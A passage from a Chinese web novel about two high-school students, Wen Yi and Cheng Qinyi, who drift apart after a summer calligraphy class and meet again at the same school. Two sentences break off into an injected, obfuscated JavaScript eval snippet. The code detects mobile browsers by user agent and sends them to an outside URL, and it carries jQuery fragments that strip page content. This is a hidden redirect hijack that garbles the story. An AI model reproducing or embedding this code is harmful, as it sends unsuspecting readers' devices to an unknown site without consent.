“闻弋,”程覃一的声音打断了她的思绪,“你有没有□□?我想留个你的联系方式,以后……万一还有什么字写不好,也好问问你。” 闻弋的眼神黯淡了一下。 电子设备对她而言,几乎是禁区。母亲对她的管束极严,生怕网络和虚拟社交会分散她的精力。朋友们早已拥有了自己的手机,□□等级都到了太阳甚至更高,而她,连一个属于自己的□□号都没有。 她觉得自己就像是被隔绝在玻璃罩子里的人,看着外面的世界缤纷多彩,却无法真正触及。 她朝他轻轻摇了摇头,带着点无奈:“我妈不允许我和别人在网上聊天。我没有自己的□□号,也没有其他的联系方式。” 闻弋瞥见程覃一那转瞬即逝的失落。 “那我把我的□□号写给你,等以后……等你有自己的□□号了,你再加我吧。” 他几乎是有些急切地从笔记本上撕下一张干净的纸,低头一笔一画地写下了一串数字,递给她。 “你一定要记得加我。”他又郑重地重复了一遍,眼神里带着认真。 “放心。”闻弋接过纸条,小心翼翼地抚平折痕,然后朝他比了一个俏皮的“OK”手势。 她总觉得程覃一今天格外奇怪,说话做事都透着一股扭捏,与他平时努力维持的那种略带疏离的“高冷”人设相去甚远。 是因为舍不得她这个还算负责的“老师”吗?还是…… 他接下来的话,似乎印证了她的某种猜测。“这个假期……还有段时间。我是说如果,如果你想去图书馆,或者想出来逛逛什么的,可以……可以来找我。”他的话语带着明显的停顿和迟疑。 闻弋心里微微一动,涌起一丝向往,但现实很快将那点小火苗浇灭。她带着歉意说:“恐怕不行了。我拿完录取通知书后,就要去我奶奶家,我奶奶家在b市,离这儿挺远的,我要在那里一直待到开学。” 程覃一沉默了。那种沉默不同于平时的安静,更像是一种被失望浸透的停歇。过了好一会儿,他才低声说:“……好吧。那,祝你假期愉快。” “你也是。” 拿到录取通知书后,闻弋坐在去往b市的火车上,看着窗外飞速倒退的风景,才猛地想起来——她忘了问程覃一报考了哪个学校。 市一中?还是其他学校?她一无所知。 望着湛蓝的天空和漂浮的白云,她有些恍惚地想:也许,就在某一天,在某个街角,或者某家书店,他们会再次相遇。然后,像老朋友一样,打个招呼,问问近况。青春的路那么长,总会再有交集的吧? 在奶奶家的日子宁静而惬意,时间仿佛被拉长了,又仿佛在指缝间溜走得飞快。转眼,八月底就到了。 市一中开学了。 父母忙于工作,实在抽不出时间,闻弋便自己拖着大大的行李箱,独自去学校办理住校手续。 开学那天,校园里人头攒动,到处都是新鲜而兴奋的面孔,以及陪同的、絮絮叨叨的家长。闻弋一个人背着书包,拎着沉重的行李,有些费力地找到了自己的宿舍楼。 一中的学生宿舍条件不错,是六人间,上床下桌。她是第一个到的。她找到自己的床位,开始铺床、整理行李。当她把所有的东西都归置妥当时,宿舍门被推开了。 第二个到的同学,是由她母亲陪着一起来的。那个女生一进门,看到闻弋,眼睛立刻亮了起来,露出一个灿烂的笑容,主动打招呼:“嗨!你好!我叫林满,你呢?” “我叫闻弋。” 林满的妈妈看起来和林满一样热情爽朗,她看到闻弋已经整理好的床铺和书桌,关切地问:“你是一个人来的吗?” 闻弋从床上爬下来,站在书桌旁,有些局促地点点头:“嗯,我爸妈工作比较忙。” 果然,林满妈妈立刻转向自己的女儿,语气里带着熟悉的“别人家孩子”的感慨:“你看看人家同学,多独立!行李自己搬,床铺自己整理得这么好!你再看看你,天天就抱着个手机……” 闻弋对林满投去一个理解的笑容。这种场景,她太熟悉了。刚上初一住校的第一天,她妈妈也是这样,在宿舍里当着其他同学和家长的面,把她数落了一通。那件尴尬的事,她至今记忆犹新。 林满接收到她的信号,朝她吐了吐舌头,做了一个无奈的鬼脸。 等林满也收拾妥当,她热情地邀请闻弋:“闻弋,我们要不要去教室里看看?” 闻弋正好想把手头带来的几本课外书放到教室,爽快地答应了。 宿舍楼离教学楼确实不近,需要穿过一个宽阔的足球场。 今天天气不怎么好,灰蒙蒙的。 她和林满并肩走在红色的塑胶跑道上,步伐不快。林满是个话匣子,一路上都在叽叽喳喳地分享着她初中时的各种趣事和“传奇人物”。 闻弋微笑着听着,目光不经意地扫过操场。 忽然,她停滞了一下。 不远处,一个熟悉的身影一闪而过。个子高高瘦瘦的,穿着一件黑色的薄款防晒衣。 好像是程覃一。 她猛地转过头,视线急切地搜寻。可那个身影消失得太快。 是错觉吗?是因为她刚才还在想他会不会也在这个学校,所以产生了幻觉? 可是,那一瞬间的感觉如此真实。 肯定是他。她的直觉这样告诉她。 和林满把书放进教室后,闻弋的心依旧在想着刚才那个身影。 她找了个借口:“我想去学校大门口的公示栏看看分班名单。我初中有几个同学也考进一中了,但我没他们联系方式,不知道分在哪个班了。” “好啊,我陪你去!”林满立刻响应,“我也想知道我那几个朋友在几班呢!” 新生基本都已经到校报到,公示栏前已经不像早上那样拥挤。闻弋从第一个展板开始,仔细地寻找起来。 今年高一新生从286班开始编号,一直到300班,总共十五个班级。林满在一旁充当起“解说员”:“我听说了,292、293、294、295是超重点班,297、298、299、300是普通班,其他的都是实验班。”她还压低声音补充道,“那几个普通班,大多是刚好压线录取的,或者是一些关系户。” 如果程覃一真的在一中,他会在哪个班? 他的成绩……她其实并不太了解。她只知道他对数学有着浓厚的兴趣,而让她最头疼的英语,他居然已经考过了雅思。或许,影响他中考成绩最大的障碍,就是他那曾经惨不忍睹的字迹吧。 一个展板,两个展板……她从286班找到291班,没有。心一点点沉下去。292,闻弋所在的班级,没有。293,294,295……依然没有。 难道,真的是她看错了?那个身影,只是相似的陌生人? “闻弋,找到了吗?”林满逛了一圈回来,走到她身边问。 “还没看见。”闻弋的声音里带着自己都没察觉到的焦急。 “要不要我帮你找?他叫什么名字?” “啊,不用不用,”闻弋连忙摆手,“应该很快就找到了,就剩最后一个展板了。” “那行吧,你慢慢找,我正好想去小卖部买点零食,待会儿你来小卖部找我呗?” “好。” 现在,只剩下最后一个展板了——299班和300班。 闻弋深吸一口气,走到299班的名单前。 她一行一行,一字一字地仔细看过去。心里有个声音在默默祈祷:一定要有,一定要有啊…… 突然,她的目光定格在名单中间的位置。 程覃一。 三个字,工工整整地印在那里。 他真的在一中!就在299班! 所有的疑虑和失望瞬间被冲刷得一干二净。她的嘴角无法控制地向上扬起。 299班……教室就在她们292班的楼上,垂直对应的位置。她甚至下意识地记下了他的名字后面的学号。 她自己都觉得有些好笑,要是让别人知道她这样默默地记下一个男生的学号,会不会觉得她像个“变态”? 她带着怎么都抑制不住的笑容,脚步轻快地走向小卖部。初秋的风凉飕飕的,吹得她打了个颤,不过一切都美好得不像话。 一路上,她已经开始在脑海里预演无数种“偶遇”的场景。 如果遇到他,第一句话该说什么? “好巧啊,你真的在一中!”这样会不会太刻意?还是应该等他先打招呼? 如果只是简单地微笑点头,会不会显得太生疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535099|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 如果他身边有朋友在,她贸然上前,他的朋友会不会起哄?会不会给他带来困扰? 他……会不会假装不认识她? 想到这里,她飞扬的心情又莫名地低落下来,嘴角的笑容也淡了下去。 青春的思绪,就是这样,在自信与自卑、勇敢与胆怯之间,反复横跳。 “闻弋,怎么一会儿不见,就愁眉苦脸的?”林满抱着一堆零食从小卖部出来,关切地问,“没找到你朋友吗?” 闻弋摇了摇头。 “难道……你朋友没考进一中?” 闻弋又摇了摇头:“不是,他在这个学校,我也找到了。” “那你怎么还一脸不开心啊?”林满不解。 闻弋怎么可能好意思把自己那些百转千回、羞于启齿的小心思告诉刚认识的同学呢?她只好随便找了个理由:“我朋友在299班,感觉……离我们好远啊。” “299班?哦,那个普通班啊。”林满恍然,“你朋友成绩怎么样?是不是中考发挥失常了?” 程覃一成绩到底如何?她也不知道。 她只知道:“他挺聪明的,数学和英语都很好,就是字写得不太好看。” “如果他底子不错,那高二文理分科的时候还有机会!”林满乐观地说,“到时候按成绩分班,理科强的完全可以进重点班。我们班就是理科重点,到时候你可以让你朋友努力考到我们班来,这样你们不就离得近了!” 居然还有这样一条路!闻弋的眼睛亮了一下。可是,她并不清楚程覃一具体的成绩排名,而且,他会努力想来292班吗? 未来,充满了太多不确定。 眼下,最现实的烦恼是:什么时候,才能有一次恰到好处的、只有他们两个人的偶遇?让她可以大大方方地和他打个招呼,问问他的近况,然后,或许可以不经意地提起高二分班的事,鼓励他好好学习,争取能到292班来。 可是,校园说大不大,说小不小。想要“偶遇”一个特定的人,似乎也需要一点运气。 开学快一个星期了,闻弋的校园生活逐渐步入正轨。她熟悉了从宿舍到教室,从食堂到图书馆的路线,也认识了班上更多的同学。然而,她始终没有遇到程覃一。 她甚至开始怀疑,299班那个名字,是不是真的只是一个美好的误会——一个重名的陌生人。 第一个周日,住校生可以短暂回家。闻弋周日下午从家里返回学校。她背着书包,慢悠悠地走在足球场的跑道上,享受着周末傍晚难得的闲暇。 就在这时,仿佛心有灵犀一般,她抬起头,视线穿过稀疏的人群,定格在前面的一个身影上。 熟悉的眉眼,挺拔的鼻梁,穿着一件蓝色的运动外套。 是他!真的是他! 她加快了自己的步伐,走到离他不远、能让他看见自己的地方。 她装作往回看,目光快速瞟过他,撞了他抬起来的眼眸。 然而,几乎是出于一种本能,在目光相接的瞬间,她飞速转过头,突然不想让他看见自己。 她想要逃离。是一种近乡情怯的慌乱,还是一种害怕期待落空的自我保护?她自己也说不清。 但让她没想到的是,程覃一走到她旁边,主动喊出了她的名字。 “闻弋。” 闻弋停下脚步,强迫自己抬起头,脸上努力挤出一个恰到好处的、带着惊讶的表情:“啊?程覃一?你居然真的在一中!” 这样的场景在她脑海里排练了好几遍。 她在心里默默祈祷,希望自己的表演足够自然,希望他看不出她早就知道他在这个学校,看不出她刚才那一瞬间的慌乱和小心思。 “是啊,”程覃一朝她走来,嘴角带着笑意,“你刚才那个样子,我还以为你不认识我了呢。” “哪有哪有,”闻弋连忙否认,心跳依旧很快,“你在哪个班啊?”她问出这个早就知道答案的问题,感觉自己像个蹩脚的演员。 “我在299班,”程覃一回答,然后很自然地反问,“你在292班,对吧?” “嗯嗯,”闻弋点头,随即好奇地问,“你怎么知道?” “在公告栏上看到你的名字了。”他语气坦然。 292班的名单在299班前面,他看到也很正常。 “292班,听说很好。”他说这话时,语气里带着一丝淡淡的羡慕,或者说是别的什么情绪。 “是的,是重点班。”闻弋抓住这个机会,顺势问道,“你想来吗?” “啊?”程覃一明显愣了一下。 看来,他还不知道高二分班,成绩优异者可以进入重点班这件事。闻弋立刻把从林满那里听来的消息,详细地告诉了他。 “……所以,你只要理科成绩保持优势,高二很有希望来重点班的。”她看着他,眼神里带着鼓励和期待,“你肯定能来的。” 他沉吟了一下,点了点头:“好,那我……努努力吧。” 夕阳的余晖将两人的影子拉得很长。 短暂的沉默弥漫开来。 “那个……我回宿舍了。”闻弋指了指宿舍楼的方向。 “好。”程覃一点头。 他们在一个岔路口停下脚步,一个要往宿舍区,一个似乎要去教学楼或者操场。 “那……再见。” “再见。” 走出几步,闻弋忽然回过头,对着那个蓝色的背影,提高声音说了一句: “好好学习!” 程覃一也转过身,朝她挥了挥手。 一切都显得那么美好,充满了希望。新的故事,才刚刚开始。 12. 开学(一) 书法班的课程接近尾声,空气中开始弥漫着一种淡淡的离愁。程覃一看着前座闻弋的背影,心里盘算着该送她一件什么样的礼物,才能恰当地表达自己的感谢。 那本《追风筝的人》已经送出去了,书页间甚至还留着他阅读时偶尔划下的、不甚美观的痕迹。一本看过的旧书,总觉得分量太轻,承载不住那个夏天她带给他的所有善意和光亮。 他思前想后,最终决定送她一个最新款的MP3。 他记得很清楚,那次在剧院后门,闻弋提过,她母亲对她管教极严,认为听歌会分心,从不允许。他还记得说这话时,她眼里有一闪而过的向往。 他想,如果能送她一个装满音乐的、小巧到可以轻易藏匿的MP3,她会不会很开心?至少,能让她在那些被严格规划的时光缝隙里,偷得片刻属于自己的欢愉。 他特意挑了一个通体哑光黑的款式,小巧不惹眼。他用电脑下了很多时下流行的歌曲,古典、轻音乐也选了一些。操作到最后,鬼使神差地,他把几首自己平时循环播放的音乐也拖进了文件夹。 这算不算夹带私货?他脸上有点发烫。 随即他又想,闻弋那样温和的人,大概也不会介意吧?万一……万一她也恰好喜欢呢?这个念头让他心底生出一点期待。 书法班的最后一天。下课铃响前,程覃一终于鼓足勇气,将那个小小的、沉甸甸的盒子递了过去。 “你已经送过我一本书了,我不能再收你这么贵重的礼物了。”闻弋不好意思地说。 “有什么不好意思的。你花了那么多时间教我练字,我这个学生要是没有一点表示,那才叫不好意思呢。就当是……课时费?” 最后,闻弋还是收下了那个礼物。 看着她收下礼物,程覃一的心刚落下半分,更大的失落汹涌而来。今天之后,这个充斥着墨香、孩童喧闹的教室,这个他整个夏天最期待的避风港,就将与他无关了。他可能,再也见不到她了。 他打算给闻弋要一个□□号,留一个联系方式。 她应该有自己的□□吧。 但是她摇了摇头。 “我妈不允许我和别人在网上聊天,我没有自己的□□号,也没有其他的联系方式。”她居然连一个自己的□□号都没有。 她妈妈为什么管得这么严呢?明明她已经这么优秀了。 程覃一感到一阵失落。 他不甘心,撕下一张练习纸的边角,飞快地写下一串数字,塞到她手里。“这是我的□□号,”他语气急切,“等你以后……等你以后有自己的号了,一定要加我。” 也许在未来的某一天,束缚她的绳索会松开一角。也许那时,她还能记得这个夏天,记得这个字写得歪歪扭扭的男孩,记得这串号码。那么,他们或许就能在虚拟的世界里重新连接,聊起这个闷热的青少年宫里发生的事,属于十五岁的夏天。 程覃一成绩不是不好,恰恰相反,是很好。 影响他成绩的是他的字。 他的数学和英语成绩特别好,但是语文成绩很糟糕。 他写的英文和中文简直是天壤之别。 初中的老师都认识他,了解他的“特殊情况”。阅卷时,遇到辨认不清的字,几位老师甚至会凑在一起,像破译密码一样,结合上下文语境,连蒙带猜地研究他写的到底是什么。鉴于他答案的核心内容往往精准无比,老师们也愿意多费这份心。 整个初三下学期,他的模拟考成绩一路高歌猛进,稳居年级前列。 然而,中考的阅卷老师可没有这份耐心和闲情。几万份试卷,看不清就是看不清,绝不会多给一分情面。 结果毫无悬念。程覃一的中考成绩一落千丈。 原本目标是冲击市前十,最终却只排在了全市七百一十七名。这个分数,仅仅比市一中的录取分数线高出了几分。 班主任找他谈话,语重心长地建议:“程覃一,你这个分数,去一中只能去普通班,压力会非常大。不如考虑十中,以你的成绩,进去就是实验班的苗子。俗话说,‘宁当鸡头,不做凤尾’啊。” 程覃一沉默地听着,但志愿表上,第一志愿那一栏,他依旧固执地填上了“市一中”。 拿到录取通知书那天,他有些忐忑不安。 前不久,他从闻弋和书法老师的对话中得知,闻弋报的志愿是市一中,而且有很大的概率进重点班。 万一他真去了市一中,那岂不是就能和闻弋做同学了? 说不定他可能会在走廊的转角遇见她,可能在操场边看到她奔跑的身影,可能在图书馆的书架间与她擦肩而过…… 他还没有拆开那个决定命运的牛皮纸信封。所有的期待与幻想,都建立在“录取”这个脆弱的前提之上。如果里面是另一所学校的名字,那么一切不过是他的痴心妄想。 他第一次如此地懊悔,中考时为什么不能再认真一点,把字写得工整些。哪怕多一分,或许就能离她更近一步,甚至有可能,和她分到同一个重点班…… 当然,现在的事实已经无法改变。 他深吸一口气,用微微颤抖的手指,小心翼翼地拆开了信封。 当“s市第一中学”几个烫金的大字映入眼帘时,他胸腔里那颗狂跳不止的心,奇异地、缓缓地平静了下来。 还好。 是市一中。 只要和她在同一个校园,就够了。至于在哪个班,已经不重要了。 他开始无比虔诚地相信缘分。只要在同一个地方,总会有相遇的时刻。哪怕只是远远地看上一眼,哪怕无法上前说一句话,也足以慰藉他整个灰暗青春期里的贫瘠时光。 从书法班结课到开学的那段日子,变得异常漫长而煎熬。程覃一在等待中,数着日历上的日期,第一次对“开学”充满了如此强烈的期待。 报到那天,奶奶执意要陪他去学校。校门口人声鼎沸,挤满了新生和家长。巨大的公告栏前更是水泄不通,上面贴满了密密麻麻的分班名单。 他从第一个公告栏开始找自己的名字,还有她的名字。 第一个公告栏,没有。 第二个公告栏,没有。 第三个公告栏,没有。 第四个公告栏,有。 直到第四个公告栏,“闻弋”两个字,清晰地跳入了他的眼帘。 她在292班。 奶奶来之前,特意和他在公园里遛弯时遇到的一位市一中退休老教师打听过情况。老人如数家珍地告诉他,今年高一,292班到295班,是四个重点班。 闻弋在292班。不仅是重点班,按照往年的惯例,数字靠前的班级,往往汇聚着成绩更为拔尖的学生。 他想过闻弋很优秀,但是没想到居然这么优秀。 他定了定神,继续在拥挤的人群中挪动,终于在最后一个公告栏上,找到了自己的名字。 他自己是在普通班——299班。 市一中的普通班的学生,不是踩线生就是找关系进来的。 他就是踩线生之一。 原本,如果父亲还在家,他或许会选择住校,以求清静。但在开学前一周,父亲带着那对母子,如同他们突然出现时一样,又突然地离开了。家里恢复了往日的宁静,但程覃一却提出了新的想法。为了上学方便,他希望在学校附近租一间房子。奶奶几乎没有犹豫就同意了,她念叨着:“住校好是好,但要是有舍友打呼噜,你一晚上都睡不好,肯定影响学习。” 置身于陌生的校园,周围是熙攘的人群,程覃一却感到一种熟悉的孤独。初中同学考到一中的本就不多,分散到各个班级,更是难见踪影。 他们班考上来的女生居多,也有四五个男生,但是那几个男生自成一个小团体,和他不熟,甚至现在,说不定聚在学校哪里,议论着他的成绩,议论着他的班级…… 在初中,他就一直是独来独往的。他并非没有机会结交朋友,而是本能地抗拒。 他固执地认为,朋友是这世上最无用的东西。那些曾经围绕在他身边的人,要么是看中他家的条件前来巴结,要么是因为他成绩好,被父母叮嘱着要多“接触优等生”。那些女生投来的目光,也多聚焦在他这张还算不错的脸上。 人际交往,不过是利益的交换,是“向上社交”的功利选择。一旦你从高处跌落,那些曾经的热情便会瞬间冷却,化作背后的指指点点。他中考失利后,那些关于他“成绩造假”、“平时考试作弊”的流言,就是最好的证明。 甚至他父母的婚姻破裂,在他看来,也与他们各自那些所谓的“朋友”脱不开干系。是那些外在的诱惑和交际,最终导致了家庭的分崩离析,让他成了被弃之不顾的累赘。 起初,他也曾怀疑,闻弋对他的好,是否也带着某种目的。但他很快发现,她对身边的每一个人都同样温和友善。他喜欢她的善良,心底却又卑劣地希望,这份善良能只对他一个人绽放。 父亲总骂他自私。 他曾经嗤之以鼻。 可现在,他忽然觉得,这或许是父亲对他说过的,唯一一句实话。 他对闻弋,确实产生了不该有的、强烈的占有欲。 这些“变态”的念头如同藤蔓,在他脑海里疯狂滋生,驱之不散。或许,这才是他潜意识里最真实的想法。 他得承认,他就是很自私。 他挣脱了人群,开始在偌大的校园里漫无目的地闲逛。开学日的热闹是别人的,与他无关。天气也配合着他的心情,阴沉沉的,不见阳光。明明是下午,却沉闷得像黄昏。 当他从篮球场旁一条栽满香樟树的小路穿出,准备走向前方另一片更茂密的树林时,脚步顿住了。 他看见了闻弋。 她穿着他们初次见面时那件淡蓝色的防晒衣,正和一个比她稍矮些的女生并肩走着,言笑晏晏。 程覃一的心跳骤然漏了一拍,随即是慌乱的疾鼓。 几乎是下意识的,他加快脚步,近乎狼狈地钻进了前方的树林里,让自己的身影迅速被浓密的树荫吞没。 躲进去之后,他才开始懊恼。 为什么要躲? 他应该大大方方地走上前,打个招呼。“嗨,闻弋,好久不见。” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535100|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才是他期待已久的重逢。 如果她刚才眼角余光瞥见了他,却看到他像只受惊的兔子一样仓皇逃开,她会怎么想?会不会觉得他懦弱、可笑? 可是,她正和朋友聊得开心,自己贸然上前打断,会不会让她觉得尴尬?会不会给她带来困扰? 更重要的是,她还愿意和他打招呼吗? 如果她只是出于礼貌回应,心里却觉得厌烦,那该怎么办? 他不想让她有任何一丝一毫的不快。 他宁愿像现在这样,做一个躲在阴影里的窥视者。 他在心里对自己发誓:如果下次,下次遇到她是一个人的时候,他一定鼓起勇气,走到她面前,坦然地向她问好。 他要问问她,还适应高中的学习节奏吗? 这样的偶遇,在开学后的第一个周日来临了。 市一中有规矩,住校生周六晚上放学可以离校,周日晚自习前必须返校。程覃一这样的走读生,原则上周日可以不去,但他还是提前回到了学校。 周日的校园比平时安静许多。就在那条环绕操场的红色塑胶跑道上,他竟然真的看见了闻弋。 她独自一人,手里提着一个看上去很沉的大袋子,正慢悠悠地走在他的前方。 她是住校生吗? 闻弋转过头来朝他这边瞟了一眼,他们的目光在空中停留了一瞬。 但她没有更多的表示,只是转过头继续往前走。 她……没认出他来? 这个认知让程覃一心里一紧,同时也燃起了一股莫名的勇气。 他不再犹豫,快步走到她身边,轻声唤道:“闻弋。” 女孩停下脚步,转过头,脸上带着一丝恰到好处的疑惑,看向他。 她真的不记得了?一股凉意从心底升起。 “啊!程覃一?”她眼中的疑惑瞬间化为了惊讶和笑意,“你居然也在一中!” 是啊,他也没想到,自己那手烂字,竟然真的把他送进了这里。劫后余生般的庆幸感再次涌上心头。 她问他:“你在哪个班?” 他的脸颊有些发烫,声音也低了几分,带着点难以启齿的羞涩:“299班。”紧接着,他像是要挽回什么似的,急忙补充道:“你在292班,对吧?” “咦?你怎么知道?”闻弋眨了眨眼,有些好奇。 “292班是重点班啊,大家都关注的。”他含糊地解释。 是啊,那些闪耀的名字,总是被人反复提及和瞻仰。一个月后的月考,年级第一或许就会从那里诞生;三年后的高考,京大、南大的录取通知书,也大概率会飞向那里。 “你想来292吗?”闻弋忽然问,语气很自然,仿佛在问一件再平常不过的事。 程覃一一怔。 她继续说:“听说高二分文理科的时候,会根据成绩重新分班。如果理科成绩好,普通班的同学也有机会进理科重点班的。”她看着他,眼神清澈而真诚,“我觉得你没问题。” 一股暖流猝不及防地冲进程覃一的心田,让他几乎有些手足无措。 闻弋真好。 她居然看得起他。 她居然真的认为,他有能力进入那个她所在的、光芒万丈的地方。 当然,他也想。这个念头从未如此刻般清晰和强烈。 闻弋又鼓励了他几句,话题自然而然地转到了练字上。“我觉得你成绩可能受字的影响挺大的。卷面不清爽,阅卷老师看着费劲,无形中就会扣掉一些分数。你要是把字练好,成绩肯定能上去,进重点班绝对没问题。” 她的话语像温柔的雨水,滴落在他干涸的心田上。 最后,闻弋提了提手里那个看起来颇重的袋子,说:“我先去宿舍放东西了。” “宿舍?你住宿了?”程覃一有些意外,想不到她真的住宿。 “嗯,一中离我家太远了,爸妈工作忙,没空接送。本来我也想在学校附近租个房子,但我妈不同意,她觉得住宿更能锻炼人,也省心,”闻弋的语气里带着点认命般的无奈,“你呢?没有住宿吗?” “没有。我在附近租了间房。”他顿了顿,找了个听起来更合理的借口,“我不太习惯和别人住在一起。” “真羡慕你,”闻弋由衷地说,眼里闪过一丝他看不懂的向往,“好自由。” 程覃一愣住了。 他有什么好羡慕的? 成绩吊车尾,家庭支离破碎,字写得不堪入目……他拥有的,似乎只有一团糟的生活。 或许,她羡慕的,仅仅是他无人管束的、那一点点可怜的自由吧。 那次短暂的相遇之后,“和她在同一个学校”这个原本足以让他心满意足的愿望,瞬间变得渺小起来。 一种更强大的渴望在他心底破土而出,疯狂生长。 他要好好学习。 他要拼命练字。 他要争取在高二分班时,考进292班,走到她身边去。 他要和她成为真正的同学,甚至一起走向更远的未来。 他期待着。 无比坚定地,期待着。 13. 偶遇(弋) 市一中为新生们安排了两周的军训。 白天的训练虽然辛苦,却也夹杂着青春的汗水与欢笑。到了夜晚,各连队围坐成圈,在夜灯下玩游戏,是军训生活中难得的轻松时刻。 闻弋对这些集体游戏向来兴致缺缺。她的目光总是不自觉地穿梭于人群,试图在统一的迷彩服中,辨认出那个熟悉的身影。 然而,所有人都穿着同样的作训服,远远望去,如同一片移动的绿色海洋,难以分辨。她一次次地寻找,又一次次地失望。 军训最后一晚,气氛格外热烈。有同学提议与邻近连队合并,玩一场规模更大的“大冒险”。众人围坐在柔软的草坪上,圆圈中央点起了几盏应急灯,昏黄的光晕映照着年轻的脸庞。 闻弋本打算安静地当个旁观者,却在出神之际,被命运的手指选中。 “那位同学,对,就是你!你的任务是——去找一位男同学,大方地介绍自己!” 周围响起哄笑。闻弋脸颊发烫,硬着头皮站起身,在无数目光的注视下,有些无措地沿着巨大的圆圈外围踱步。 恍惚间,她好像看见了程覃一。 看错了? 她睁大眼睛看去。不对,就是程覃一。 她脑子里一下子蹦出辛弃疾的词:“众里寻他千百度。蓦然回首,那人却在,灯火阑珊处。” 本来,她今晚已经放弃寻找了,没想到,和他们一起玩大冒险的居然是程覃一的连队! 程覃一似乎注意到了她的目光,朝她这里看过来。 闻弋害羞转过头。 她继续绕着圈走,内心天人交战:要不要就去找他完成任务? 可是如果被班上同学误会了怎么办?这样贸然过去,会不会让他觉得尴尬,给他带来困扰? 种种顾虑最终占了上风。闻弋轻叹一声,转向了自己班上那位仅算认识的生活委员——一个初中时隔壁班、热情开朗的男生。他正笑呵呵地看着游戏场面。 “同学,打扰一下……”她红着脸,快速完成了自我介绍任务,然后几乎是逃也似的回到了自己的位置。 坐下后,她才敢悄悄抬起头,用眼角的余光追寻程覃一的身影。 程覃一所在的位置离她不远,跑道旁的光刚好打在他的脸上,她能清晰看到他的脸。 他低着头,像是在思考着什么,看起来不太高兴。 闻弋心不在焉地跟着大家笑闹,目光却总是不由自主地飘向那个方向。 他始终没有抬起头。 军训过后,高中学习正式开始,每一科的第一堂课基本上都是各科老师对自己的介绍以及对学生的了解。 班主任是一个个子不怎么高、但是长得还算清秀的三十几岁的男老师,他教闻弋他们数学。 语文老师是一个年纪大到应该退休的老头,但是由于今年教的毕业生的成绩很好,又被校长请回来继续教书。他很喜欢唱歌,还在课上给闻弋他们唱了一首歌。 英语老师长得很漂亮,她刚进来,全班都发出“哇塞”的叫声。她打扮得很漂亮,但是英语老师说她脾气很暴躁,千万不要惹到她。 物理老师是一个有地中海的老师,头圆圆的,看起来很讨喜,讲话也很搞笑。 生物老师是学校的副校长,第一节课她给同学讲着她在美国留学的那些事。 化学老师是一个脸圆圆的年轻女孩,她说她才带完一届学生,她已经二十五岁了,但是看起来就和闻弋他们一般大。 还有历史老师,很温柔,字写得很好看,闻弋还去问她练得是不是赵孟頫的小楷。 政治老师,很喜欢讲鸡汤,有时候上着课,就开始聊起人生哲理。 地理老师,很年轻,还当着一个班的班主任。 后来闻弋才知道,地理老师带的那个班,就是程覃一他们那个班。 本来她已经规划好在地理课上偷偷做物理作业,但知道他是程覃一的班主任后,就决定好好听课,万一哪天他突然讲他们班的事,讲到了程覃一呢。 但是令闻弋意想不到的是,在一中才过去一个月不到,程覃一就已经名声大噪。 原因是军训完后学校组织了新生的篮球比赛,最后程覃一带着他们班拿下了冠军。 那时候走廊里都是在议论着“299班那个17号球服的男生真的好厉害,而且长得还很帅”。 闻弋不喜欢看篮球赛,所以没怎么关注。 她知道这事还是因为地理老师来他们班上课,闲聊时夸赞了一个男生。 那节课,一如既往,她听得很认真。 地理老师讲着讲着等高线就突然把话题转移到他们班的球队上。 “我们班上有个男生,估计你们也都认识了,他真的是我见过最聪明的男生,那种思维能力出其不意,总爱另辟蹊径,但是就是写得字不敢恭维啊。” “老师不敢恭维什么意思?是太丑了吗?”班上有个爱接话的男生说。 物理老师只是笑了笑,没说是还是不是。 班上的人有些躁动。 闻弋从周围的同学的口中听到了程覃一的名字。 起初,她还不知道老师说的男生是谁,听到字不敢恭维,她就知道肯定是程覃一。 可是班上那些人,他们怎么也知道他呢? 下课后,林满找她一起去上厕所。 路上,听到了好多人还在讨论那个17号球服的男生。 “他们到底说谁啊?” 闻弋问林满。 “还能是谁,就是地理老师上课说的那个很聪明的学生。” “啊?就是老师说的那个字不敢恭维那个?” “你怎么会关注到字上?重点难道不是那个男生又帅又聪明吗?” 闻弋真没想到,程覃一居然就是那个人人都在讨论的17号球服男生,居然是他带着299班拿下来冠军。 那这样岂不是以后他走到每一处都会被人关注?岂不是她以后遇到程覃一,就不能和他打招呼了?万一她和他招呼被人看见,岂不是会被人传她喜欢他? 一种难以言喻的失落感弥漫开来。仿佛一件自己悄悄珍藏的宝贝,突然被置于聚光灯下,暴露在所有人面前。那件宝贝,似乎就不再独属于自己了。 她被自己这种近乎“占有”的阴暗念头吓了一跳。可一旦滋生,这个想法便如藤蔓缠绕,挥之不去。 一个月后,他们迎来了第一次月考。这次考试考场是按中考成绩排的。闻弋在第一考场。这次要是考不好,她父母肯定要骂她。还好,她这次备考很用心。考下来,自我感觉不错。 考完试后,每一科的课都是老师拿答案来对。闻弋对完答案后,算了一下分,感觉还不错。就等成绩了。 班主任和他们说,考到年级前一百的,年级上会在一楼花园旁边的公告栏上贴上名单。 成绩出来了。 闻弋果然考得还不错,考考了班级第三,年级第七。 她同林满一起到一楼的公告栏上看年级前一百的名单。 公告栏前人头攒动,她们一时难以靠近。 “没想到程覃一考得这么好!”前面一个女生对同伴感叹道。 程覃一?考得好?难道他也进了年级前一百? 